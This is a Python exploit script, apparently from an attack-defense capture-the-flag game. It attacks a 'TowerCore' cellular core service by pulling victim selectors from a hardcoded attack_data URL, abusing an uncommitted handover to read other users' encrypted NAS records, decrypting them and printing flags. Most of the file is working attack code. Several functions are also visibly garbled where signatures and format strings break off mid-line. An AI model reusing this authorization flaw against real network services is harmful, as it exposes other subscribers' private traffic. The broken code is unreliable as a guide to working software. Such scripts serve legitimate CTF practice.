#!/usr/bin/env python3 """Read TowerCore NAS exports through the uncommitted-handover path. Run as ``script TARGET`` inside the authorized attack-defense network. """ from __future__ import annotations import hashlib import hmac import json import re import secrets import socket import struct import sys import time from dataclasses import dataclass from urllib.error import URLError from urllib.parse import urlsplit from urllib.request import Request, urlopen ATTACK_DATA_URL = "http://111.88.219.93/attack_data" DEFAULT_PORT = 7250 NETWORK_TIMEOUT = 4.0 MAX_ATTACK_DATA = 4 * 1024 * 1024 MAX_VICTIMS = 4096 HEADER_SIZE = 16 FLAG_RE = re.compile(rb"\b[A-Z0-9]{31}=") NAS_AAD = b"TowerCore/v1/sealed" class ProtocolError(Exception): """A malformed or unexpected TowerCore protocol response.""" class RemoteError(ProtocolError): """A well-formed response that reports an operation failure.""" class AuthenticationError(ProtocolError): """An encrypted NAS record failed authentication.""" @dataclass(frozen=True) class Frame: opcode: int request_token: bytes session_token: bytes fields: tuple[tuple[int, bytes], ...] def values(self, tag: int) -> list[bytes]: return [value for field_tag, value in self.fields if field_tag == tag] @dataclass(frozen=True) class Victim: cell: int tmsi: int @property def selector(self) -> bytes: return struct.pack(" tuple[str, int]: raw = value.strip() if "://" not in raw: raw = f"tcp://{raw}" parsed = urlsplit(raw) if not parsed.hostname: raise ValueError("expected TARGET as HOST or host:port") return parsed.hostname, parsed.port or default_port def _encode_tlvs(fields: list[tuple[int, bytes]]) -> bytes: payload = bytearray() for tag, value in fields: if not 0 <= tag <= 0xFFFF: raise ValueError("TLV tag is outside uint16 range") if not isinstance(value, bytes): raise TypeError("TLV values must be bytes") if len(value) > 0xFFFF: raise ValueError("TLV value exceeds uint16 length") payload.extend(struct.pack(" 0xFFFF: raise ValueError("frame payload exceeds uint16 length") return bytes(payload) def build_frame( opcode: int, fields: list[tuple[int, bytes]], request_id: int, session_token: bytes, ) -> bytes: if not 0 <= opcode <= 0xFF: raise ValueError("opcode is outside uint8 range") if not 0 <= request_id <= 0xFFFF: raise ValueError("request id is outside uint16 range") if len(session_token) != 6: raise ValueError("session token must be 6 bytes") payload = _encode_tlvs(fields) # The request counter occupies the low uint16 of the four-byte token. header = b"LT" + bytes((1, opcode)) + b"\0\0" + struct.pack(" tuple[tuple[int, bytes], ...]: fields: list[tuple[int, bytes]] = [] offset = 0 while offset < len(payload): if len(payload) - offset < 4: raise ProtocolError("truncated TLV header") tag, size = struct.unpack_from(" len(payload): raise ProtocolError("truncated TLV value") fields.append((tag, payload[offset:end])) offset = end return tuple(fields) def parse_frame(raw: bytes) -> Frame: if len(raw) < HEADER_SIZE: raise ProtocolError("truncated frame header") if raw[:2] != b"LT": raise ProtocolError("invalid frame magic") if raw[2] != 1: raise ProtocolError(f"unsupported protocol version {raw[2]}") payload_size = struct.unpack_from(" bytes: chunks: list[bytes] = [] remaining = size while remaining: timeout = deadline - time.monotonic() if timeout <= 0: raise TimeoutError("timed out receiving TowerCore frame") sock.settimeout(timeout) try: chunk = sock.recv(remaining) except socket.timeout as exc: raise TimeoutError("timed out receiving TowerCore frame") from exc if not chunk: raise ProtocolError("connection closed in the middle of a frame") chunks.append(chunk) remaining -= len(chunk) return b"".join(chunks) def receive_frame(sock: socket.socket, deadline: float) -> Frame: header = _receive_exact(sock, HEADER_SIZE, deadline) if header[:2] != b"LT": raise ProtocolError("invalid frame magic") if header[2] != 1: raise ProtocolError(f"unsupported protocol version {header[2]}") payload_size = struct.unpack_from(" bytes: if len(challenge) != 32 or len(imsi) != 8 or len(client_nonce) != 16: raise ValueError("invalid authentication input length") message = b"TowerCore/v1/auth" + imsi + client_nonce return hmac.new(challenge, message, hashlib.sha256).digest() def derive_keys(challenge: bytes, client_nonce: bytes, server_nonce: bytes) -> tuple[bytes, bytes]: if len(challenge) != 32 or len(client_nonce) != 16 or len(server_nonce) != 16: raise ValueError("invalid session KDF input length") session_key = hashlib.blake2b( b"TowerCore/v1/session" + client_nonce + server_nonce, key=challenge, digest_size=32, ).digest() nas_key = hashlib.blake2b( b"TowerCore/v1/nas", key=session_key, digest_size=32 ).digest() return session_key, nas_key def _rotate_left(value: int, bits: int) -> int: return ((value << bits) | (value >> (32 - bits))) & 0xFFFFFFFF def _quarter_round(state: list[int], a: int, b: int, c: int, d: int) -> None: state[a] = (state[a] + state[b]) & 0xFFFFFFFF state[d] = _rotate_left(state[d] ^ state[a], 16) state[c] = (state[c] + state[d]) & 0xFFFFFFFF state[b] = _rotate_left(state[b] ^ state[c], 12) state[a] = (state[a] + state[b]) & 0xFFFFFFFF state[d] = _rotate_left(state[d] ^ state[a], 8) state[c] = (state[c] + state[d]) & 0xFFFFFFFF state[b] = _rotate_left(state[b] ^ state[c], 7) def _chacha_rounds(state: list[int]) -> None: for _ in range(10): _quarter_round(state, 0, 4, 8, 12) _quarter_round(state, 1, 5, 9, 13) _quarter_round(state, 2, 6, 10, 14) _quarter_round(state, 3, 7, 11, 15) _quarter_round(state, 0, 5, 10, 15) _quarter_round(state, 1, 6, 11, 12) _quarter_round(state, 2, 7, 8, 13) _quarter_round(state, 3, 4, 9, 14) def _initial_state(key: bytes) -> list[int]: if len(key) != 32: raise ValueError("ChaCha20 key must be 32 bytes") return list(struct.unpack("<4I", b"expand 32-byte k")) + list( struct.unpack("<8I", key) ) def hchacha20(key: bytes, nonce: bytes) -> bytes: if len(nonce) != 16: raise ValueError("HChaCha20 nonce must be 16 bytes") state = _initial_state(key) + list(struct.unpack("<4I", nonce)) _chacha_rounds(state) return struct.pack("<8I", *(state[:4] + state[12:16])) def _chacha20_block(key: bytes, counter: int, nonce: bytes) -> bytes: if len(nonce) != 12: raise ValueError("ChaCha20 nonce must be 12 bytes") if not 0 <= counter <= 0xFFFFFFFF: raise ValueError("ChaCha20 counter is outside uint32 range") initial = _initial_state(key) + [counter] + list(struct.unpack("<3I", nonce)) state = initial.copy() _chacha_rounds(state) return struct.pack( "<16I", *((value + original) & 0xFFFFFFFF for value, original in zip(state, initial)) ) def _chacha20_xor(key: bytes, nonce: bytes, data: bytes, counter: int) -> bytes: block_count = (len(data) + 63) // 64 if block_count and counter + block_count - 1 > 0xFFFFFFFF: raise ValueError("ChaCha20 counter overflow") output = bytearray(len(data)) for block_index in range(block_count): stream = _chacha20_block(key, counter + block_index, nonce) start = block_index * 64 end = min(start + 64, len(data)) for offset in range(start, end): output[offset] = data[offset] ^ stream[offset - start] return bytes(output) def poly1305_mac(message: bytes, key: bytes) -> bytes: if len(key) != 32: raise ValueError("Poly1305 key must be 32 bytes") r = int.from_bytes(key[:16], "little") & 0x0FFFFFFC0FFFFFFC0FFFFFFC0FFFFFFF s = int.from_bytes(key[16:], "little") modulus = (1 << 130) - 5 accumulator = 0 for offset in range(0, len(message), 16): block = message[offset : offset + 16] value = int.from_bytes(block + b"\x01", "little") accumulator = ((accumulator + value) * r) % modulus return ((accumulator + s) & ((1 << 128) - 1)).to_bytes(16, "little") def _pad16(value: bytes) -> bytes: remainder = len(value) % 16 return b"" if remainder == 0 else b"\0" * (16 - remainder) def xchacha20poly1305_decrypt( ciphertext_and_tag: bytes, aad: bytes, nonce: bytes, key: bytes ) -> bytes: if len(key) != 32 or len(nonce) != 24: raise ValueError("XChaCha20-Poly1305 requires a 32-byte key and 24-byte nonce") if len(ciphertext_and_tag) < 16: raise AuthenticationError("encrypted NAS record is shorter than its tag") subkey = hchacha20(key, nonce[:16]) ietf_nonce = b"\0" * 4 + nonce[16:] ciphertext, tag = ciphertext_and_tag[:-16], ciphertext_and_tag[-16:] poly_key = _chacha20_block(subkey, 0, ietf_nonce)[:32] mac_input = ( aad + _pad16(aad) + ciphertext + _pad16(ciphertext) + struct.pack(" int: if isinstance(value, bool): raise ValueError(f"{name} must be an unsigned 32-bit integer") if isinstance(value, int): result = value elif isinstance(value, str): try: result = int(value, 0) except ValueError as exc: raise ValueError(f"invalid {name} in attack_data") from exc else: raise ValueError(f"{name} must be an unsigned 32-bit integer") if not 0 <= result <= 0xFFFFFFFF: raise ValueError(f"{name} is outside uint32 range") return result def _target_alias(value: str) -> str: try: return target_host(value)[0].casefold() except ValueError: return value.strip().casefold() def extract_victims(data: object, target: str) -> list[Victim]: if not isinstance(data, dict) or not isinstance(data.get("towercore"), dict): raise ValueError("attack_data has no towercore target map") targets = data["towercore"] target_alias = _target_alias(target) raw_target = target.strip().casefold() entries: object | None = None for key, value in targets.items(): if not isinstance(key, str): continue if key.strip().casefold() == raw_target or _target_alias(key) == target_alias: entries = value break if not isinstance(entries, list): raise ValueError(f"attack_data has no TowerCore entries for {target}") victims: list[Victim] = [] seen_tmsi: set[int] = set() for entry in entries: if not isinstance(entry, dict): raise ValueError("invalid TowerCore target entry in attack_data") users = entry.get("users", []) if not isinstance(users, list): raise ValueError("invalid users list in attack_data") for user in users: if not isinstance(user, dict) or "cell" not in user or "tmsi" not in user: raise ValueError("invalid user selector in attack_data") cell = _uint32(user["cell"], "cell") tmsi = _uint32(user["tmsi"], "tmsi") if tmsi in seen_tmsi: continue seen_tmsi.add(tmsi) victims.append(Victim(cell=cell, tmsi=tmsi)) if len(victims) > MAX_VICTIMS: raise ValueError("attack_data contains too many victim selectors") return victims def fetch_attack_data() -> object: request = Request(ATTACK_DATA_URL, headers={"Accept": "application/json"}) with urlopen(request, timeout=NETWORK_TIMEOUT) as response: if response.status != 200: raise OSError(f"attack_data returned HTTP {response.status}") payload = response.read(MAX_ATTACK_DATA + 1) if len(payload) > MAX_ATTACK_DATA: raise ValueError("attack_data exceeds the configured size limit") try: return json.loads(payload) except (json.JSONDecodeError, UnicodeDecodeError) as exc: raise ValueError("attack_data is not valid JSON") from exc def _single_field(response: Frame, tag: int, size: int, label: str) -> bytes: values = response.values(tag) if len(values) != 1 or len(values[0]) != size: raise RemoteError(f"{label} response field is missing or malformed") return values[0] def _require_status(response: Frame, expected: int, operation: str) -> None: values = response.values(0x19) if len(values) != 1 or len(values[0]) != 1: raise RemoteError(f"{operation} response has no single-byte status") status = values[0][0] if status != expected: raise RemoteError(f"{operation} failed with status {status}") class TowerClient: def __init__(self, host: str, port: int, timeout: float = NETWORK_TIMEOUT) -> None: self.timeout = timeout self.sock = socket.create_connection((host, port), timeout=timeout) self.session_token = b"\0" * 6 self.request_id = 1 def close(self) -> None: self.sock.close() def request(self, opcode: int, fields: list[tuple[int, bytes]] | None = None) -> Frame: if self.request_id > 0xFFFF: raise ProtocolError("request counter exhausted") request_id = self.request_id self.request_id += 1 token = b"\0\0" + struct.pack(" list[int]: response = self.request(0x01) cells: list[int] = [] for value in response.values(0x0C): if len(value) != 4: raise ProtocolError("hello response contains malformed cell") cell = struct.unpack(" bytes: imsi = secrets.token_bytes(8) identity = secrets.token_bytes(8) registration = self.request( 0x02, [(0x01, imsi), (0x02, identity), (0x03, b"scanner")], ) challenge = _single_field(registration, 0x08, 32, "registration challenge") _single_field(registration, 0x09, 4, "registration TMSI") _single_field(registration, 0x0A, 4, "registration cell") client_nonce = secrets.token_bytes(16) proof = auth_digest(challenge, imsi, client_nonce) authenticated = self.request( 0x03, [(0x01, imsi), (0x05, client_nonce), (0x06, proof)], ) server_nonce = _single_field(authenticated, 0x07, 16, "authentication nonce") if authenticated.session_token == b"\0" * 6: raise RemoteError("authentication response did not establish a session") self.session_token = authenticated.session_token _, nas_key = derive_keys(challenge, client_nonce, server_nonce) return nas_key def attach(self, cell: int) -> None: response = self.request(0x04, [(0x0C, struct.pack(" None: response = self.request(0x06) _require_status(response, 3, "detach") def _encrypted_records(response: Frame) -> list[tuple[bytes, bytes]]: records: list[tuple[bytes, bytes]] = [] pending_nonce: bytes | None = None for tag, value in response.fields: if tag == 0x11: if pending_nonce is not None or len(value) != 24: raise RemoteError("NAS export contains a malformed nonce") pending_nonce = value elif tag == 0x12: if pending_nonce is None or len(value) < 16: raise RemoteError("NAS export contains ciphertext without a nonce") records.append((pending_nonce, value)) pending_nonce = None if pending_nonce is not None: raise RemoteError("NAS export ended with an unmatched nonce") if not records: raise RemoteError("read response contains no encrypted NAS records") return records def exploit_target(target: str, victims: list[Victim]) -> set[str]: host, port = target_host(target) flags: set[str] = set() client = TowerClient(host, port) attached_cell: int | None = None try: cells = client.hello() nas_key = client.authenticate() cell_set = set(cells) for index, victim in enumerate(victims, start=1): if victim.cell not in cell_set: print(f"victim {index}: cell is not advertised by target", file=sys.stderr) continue destination = next((cell for cell in cells if cell != victim.cell), None) if destination is None: print(f"victim {index}: no different destination cell is available", file=sys.stderr) continue try: if attached_cell != victim.cell: if attached_cell is not None: client.detach() client.attach(victim.cell) attached_cell = victim.cell except (OSError, ProtocolError) as exc: print(f"victim {index}: attach failed: {exc}", file=sys.stderr) raise handover_id: bytes | None = None try: prepared = client.request( 0x40, [ (0x0B, victim.selector), (0x0C, struct.pack(" int: arguments = sys.argv[1:] if argv is None else argv if len(arguments) != 1: print("usage: script TARGET", file=sys.stderr) return 2 target = arguments[0] try: victims = extract_victims(fetch_attack_data(), target) if not victims: raise ValueError(f"attack_data contains no victim selectors for {target}") flags = exploit_target(target, victims) except (OSError, URLError, ValueError, ProtocolError) as exc: print(f"towercore exploit: {exc}", file=sys.stderr) return 1 for flag in sorted(flags): print(flag) return 0 if flags else 1 if __name__ == "__main__": raise SystemExit(main())